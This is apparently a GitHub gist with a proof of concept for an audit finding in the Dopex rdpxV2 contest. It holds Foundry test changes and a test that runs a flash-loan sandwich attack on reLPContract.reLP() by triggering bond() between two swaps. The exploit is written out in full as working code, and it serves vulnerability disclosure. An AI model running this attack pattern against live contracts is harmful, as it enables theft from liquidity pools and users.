Skip to content

Instantly share code, notes, and snippets.

@peakbolt
Created October 22, 2023 18:52
Show Gist options
  • Save peakbolt/f2d9a44714b1a2a693debea737128696 to your computer and use it in GitHub Desktop.
Save peakbolt/f2d9a44714b1a2a693debea737128696 to your computer and use it in GitHub Desktop.
POC for #976

This POC shows that reLPContract.reLP() is susceptible to sandwich attack due to user control over bond().

Follow the the steps below to setup and run the poc.

  1. Modify tests\rdpxV2-Core\Setup.t.sol#L93(https://github.com/code-423n4/2023-08-dopex/blob/main/tests/rdpxV2-core/Setup.t.sol#L93) as follows:
    //@peakbolt (issue 976) just to increase reserve amount for larger bond()
    rdpx.mint(address(rdpxReserveContract), 1000 ether);
    //rdpx.mint(address(rdpxReserveContract), 100 ether);
  1. Modify tests\rdpxV2-Core\Setup.t.sol#L129-L131(https://github.com/code-423n4/2023-08-dopex/blob/main/tests/rdpxV2-core/Setup.t.sol#L129-L131) as follows:
    //@peakbolt (issue 976) just to increase deployer balance for larger bond()
    rdpx.mint(address(this), 1000000000 * 1e18);
    rdpx.mint(address(1), 1100 * 1e18);
    weth.mint(address(this), 20000000 * 1e18);
    /*
    rdpx.mint(address(this), 1000000 * 1e18);
    rdpx.mint(address(1), 1100 * 1e18);
    weth.mint(address(this), 20000 * 1e18);
    */
  1. Modify tests\rdpxV2-Core\Setup.t.sol#L203-L212(https://github.com/code-423n4/2023-08-dopex/blob/main/tests/rdpxV2-core/Setup.t.sol#L203-L212) as follows:
    //@peakbolt (issue 976) increase liquidity for larger reLP amount
    router.addLiquidity(
      address(rdpx),
      address(weth),
      100000 * 1e18,
      20000 * 1e18,
      10000 * 1e18,
      2000 * 1e18,
      address(rdpxV2Core),
      block.timestamp + 300
    );
    /*
    router.addLiquidity(
      address(rdpx),
      address(weth),
      10000 * 1e18,
      2000 * 1e18,
      1000 * 1e18,
      200 * 1e18,
      address(rdpxV2Core),
      block.timestamp + 300
    );
    */
  1. Add the following imports to tests\rdpxV2-Core\Periphery.t.sol.
//@peakbolt (issue 976)
import { IUniswapV2Router } from "../../contracts/uniswap_V2/IUniswapV2Router.sol";
import { IUniswapV2Pair } from "../../contracts/uniswap_V2/IUniswapV2Pair.sol";
import { MockToken } from "../../contracts/mocks/MockToken.sol";
import { RdpxV2Core } from "../../contracts/core/RdpxV2Core.sol";
  1. Add the following contract to tests\rdpxV2-Core\Periphery.t.sol. This is used for triggering of bond().
//@peakbolt (issue 976)
contract AttackerBondContract {
    function triggerBond(RdpxV2Core rdpxV2Core, MockToken rdpx, MockToken weth, uint256 amount) public {
      weth.approve(address(rdpxV2Core), type(uint256).max);
      rdpx.approve(address(rdpxV2Core), type(uint256).max);
      uint256 bond = rdpxV2Core.bond(amount, 0, address(this));  
    }
}
  1. Modify Periphery.t.sol#L95-L96 as follows:
    //@peakbolt (issue 976) increase rdp/weth for larger bond()
    rdpx.transfer(address(rdpxV2Core), 50e21);
    weth.transfer(address(rdpxV2Core), 11e21);
    //rdpx.transfer(address(rdpxV2Core), 50e18);
    //weth.transfer(address(rdpxV2Core), 11e18);
  1. Add the following functions in the Periphery contract in tests\rdpxV2-Core\Periphery.t.sol.
  //@peakbolt (issue 976)
  function getTokenPriceRdpxInWeth(address pairAddress) public view returns(uint256)
  {
    //pair is RDPX / WETH (see Setup.t.sol)
    (uint256 reserve0, uint256 reserve1,) = IUniswapV2Pair(pairAddress).getReserves();
    return (1e18*reserve1)/reserve0; // return amount of token1 (weth) needed to buy token0 (rdpx)
  }

  
  function testPeakboltReLpContractSandwichAttack() public {
    testV2Amo();

    console.log("--------------  setup copied from testReLpContract() ------------");
    // set address in reLP contract and grant role
    reLpContract.setAddresses(
      address(rdpx),
      address(weth),
      address(pair),
      address(rdpxV2Core),
      address(rdpxReserveContract),
      address(uniV2LiquidityAMO),
      address(rdpxPriceOracle),
      address(factory),
      address(router)
    );
    reLpContract.grantRole(reLpContract.RDPXV2CORE_ROLE(), address(rdpxV2Core));

    reLpContract.setreLpFactor(9e4);
    rdpxV2Core.setIsreLP(true);

    // add liquidity
    //@peakbolt (issue 976) - increase liquidity for larger bond()
    uniV2LiquidityAMO.addLiquidity(5e21, 1e21, 0, 0);
    //uniV2LiquidityAMO.addLiquidity(5e18, 1e18, 0, 0);
    uniV2LiquidityAMO.approveContractToSpend(
      address(pair),
      address(reLpContract),
      type(uint256).max
    );

    console.log("-------------- 1. attacker perform first swap to get rDPX with flashloaned WETH ------------");
    address attacker = vm.addr(1);
    uint256 attackerFlashLoanAmount = 1e22;
    uint256 attackerBondAmount = 1e20;

    //get flash loan
    deal(address(weth), address(attacker), attackerFlashLoanAmount);

    vm.startPrank(attacker);
    rdpx.approve(address(router), type(uint256).max);
    weth.approve(address(router), type(uint256).max);

    console.log("attacker weth balance (initial) : %d [from flashloan]", weth.balanceOf(attacker));
    console.log("attacker rdpx balance (initial) : %d ", rdpx.balanceOf(attacker));

    //1st swap from WETH to rDPX
    address[] memory path = new address[](2);
    path[0] = address(weth);
    path[1] = address(rdpx);
    IUniswapV2Router(router).swapExactTokensForTokens(attackerFlashLoanAmount, 0, path, address(attacker), block.timestamp + 100); 

    console.log("attacker weth balance (after 1st swap): %d ", weth.balanceOf(attacker));
    console.log("attacker rdpx balance (after 1st swap): %d", rdpx.balanceOf(attacker));

    console.log("rDPX price in WETH (after 1st swap): %d ", getTokenPriceRdpxInWeth(address(pair)));


    console.log("-------------- 2. Attacker triggers bond() that indirectly perform removeLiquidity() in reLPContract.reLP() ------------");
    // for poc purpose, a different account is used for bond() to keep the sandwich attack profit calculation simple.
    // bond() can be performed with the same account, just that it complicates the profit calculation with the leftover WETH/RDPX.
    // we dont consider the the rDPX & WETH in attack profit calculation as the dpxETH bond received can be redeemed / sold later.

    AttackerBondContract bondContract = new AttackerBondContract();

    (uint256 rdpxRequiredToBond, uint256 wethRequiredToBond) = rdpxV2Core.calculateBondCost(attackerBondAmount, 0);
    // attacker acquire rDPX & WETH separately without flashloan, this can be recoup by selling dpxETH later
    deal(address(rdpx), address(bondContract), rdpxRequiredToBond);
    deal(address(weth), address(bondContract), wethRequiredToBond);

    //this will increase price of rDPX due to removeLiquidity() triggered from bond()->reLP()
    bondContract.triggerBond(rdpxV2Core, rdpx, weth, attackerBondAmount);
    
    console.log("rDPX price in WETH (after bond): %d ", getTokenPriceRdpxInWeth(address(pair)));
  

    console.log("-------------- 3. Attacker performs 2nd swap rDPX back to WETH and profit ------------");
    //Swap back from rDPX to WETH and profit
    path[0] = address(rdpx);
    path[1] = address(weth);
    
    IUniswapV2Router(router).swapExactTokensForTokens(rdpx.balanceOf(attacker), 0, path, address(attacker), block.timestamp + 100); 
    vm.stopPrank();

    console.log("attacker weth balance (after 2nd swap): %d ", weth.balanceOf(attacker));
    console.log("attacker rdpx balance (after 2nd swap): %d", rdpx.balanceOf(attacker));
    console.log("attacker profit in WETH (after repaying flashloan): %d", weth.balanceOf(attacker) - attackerFlashLoanAmount);

  }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment